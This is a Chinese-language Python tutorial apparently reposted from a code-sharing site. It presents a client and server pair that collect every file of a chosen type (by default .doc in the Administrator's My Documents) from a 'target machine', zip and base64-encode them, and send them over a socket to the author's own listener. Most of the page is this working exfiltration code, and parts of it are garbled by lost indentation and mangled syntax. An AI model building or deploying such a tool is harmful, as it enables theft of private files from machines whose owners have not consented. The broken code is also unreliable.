python实现获取客户机上指定文件并传输到服务器的方法

633次阅读  |  发布于5年以前

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:

该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

服务器端程序:

复制代码 代码如下:

-- coding: cp936 --

import socket
import win32com.client
import os
import zipfile
import codecs
import base64
def main():
HOST = '127.0.0.1'
PORT = 2000
BUF_SIZE = 6553500 #6M
key = 'ouyang'
timeout = 5
dicName = "ouyang\\"
ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
ss.bind((HOST,PORT))
ss.listen(5)
print "wating for conntecting..."
while True:
try:
cs,addr = ss.accept()
socket.setdefaulttimeout(timeout)
cs.send("200 Connected!")

获取加密数据

            encode_data = cs.recv(BUF_SIZE)  
            #把数据写到out.zip文件  
            tmpfile = open('out.tmp','wb')  
            try:  
                tmpfile.write(encode_data)  
                tmpfile.close()  
            except IOError,e:  
                print 'Strange error creating IOError:%s' % e    
                tmpfile.close()  
            finally:  
                tmpfile.close()  
            #base64 decode 2进制 解密 decode(infile,outfile)  
            tmpfile = open('out.tmp','rb')  
            outfile = open('out.zip','wb')  
            base64.decode(tmpfile,outfile)  
            tmpfile.close()  
            outfile.close()  
            #打开zip文件  
            zfile = zipfile.ZipFile('out.zip','r')  
            #创建一个文件夹来存放获取的zip文件  
            if not os.path.exists(dicName):  
                os.mkdir(dicName)  
            for f in zfile.namelist():  
                data = zfile.read(f)  
                file = open(dicName+os.path.basename(f),'w+b')  
                file.write(data)  
                file.close()  
            print "finished!!!"  
            zfile.close()  
            #后续处理 删除临时文件  
            os.remove('out.tmp')  
            cs.close()  
        except socket.error, e:    
            print 'Strange error creating socket:%s' % e    
            cs.close()  
    ss.close()  
except socket.error, e:  
    print 'Strange error creating socket:%s' % e    
    ss.close()  

if name=='main':
main()

客户端程序:

复制代码 代码如下:

-- coding: cp936 --

import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
def walk_dir(dir,filelist,extName,topdown=True):
for root, dirs, files in os.walk(dir, topdown):
for name in files:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
for name in dirs:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
def main():
HOST = '127.0.0.1'
PORT = 2000
BUF_SIZE = 65535
key = 'ouyang'
dicName = "C:\Documents and Settings\Administrator\我的文档"
extName = '.doc'

遍历搜索我的文档的doc类型

try:  
    filelist = []  
    walk_dir(dicName,filelist,extName)  
except IOError,e:  
    print "文件处理错误: " % e  
    sys.exit(-1)  
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   
try:  
    cs.connect((HOST,PORT))  
    print cs.recv(BUF_SIZE)  
    #压缩成zip文件  
    zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)  
    for f in filelist:  
        zfile.write(f)  
    zfile.close()  
    #base 2进制 加密 encode(infile,outfile)  
    infile = open('in.zip','rb')  
    tmpfile = open('in.tmp','wb')  
    base64.encode(infile,tmpfile)  
    infile.close()  
    tmpfile.close()  
    #send  
    tmpfile = open('in.tmp','rb')  
    cs.send(tmpfile.read())  
    tmpfile.close()  
    #后续处理 删除中间文件  
    os.remove('in.tmp')  
    cs.close()  
except socket.error ,e:  
    print 'socket 出错啦:' % e  
    cs.close()  

if name=='main':
main()

希望本文所述对大家的Python程序设计有所帮助。

Copyright© 2013-2020

All Rights Reserved 京ICP备2023019179号-8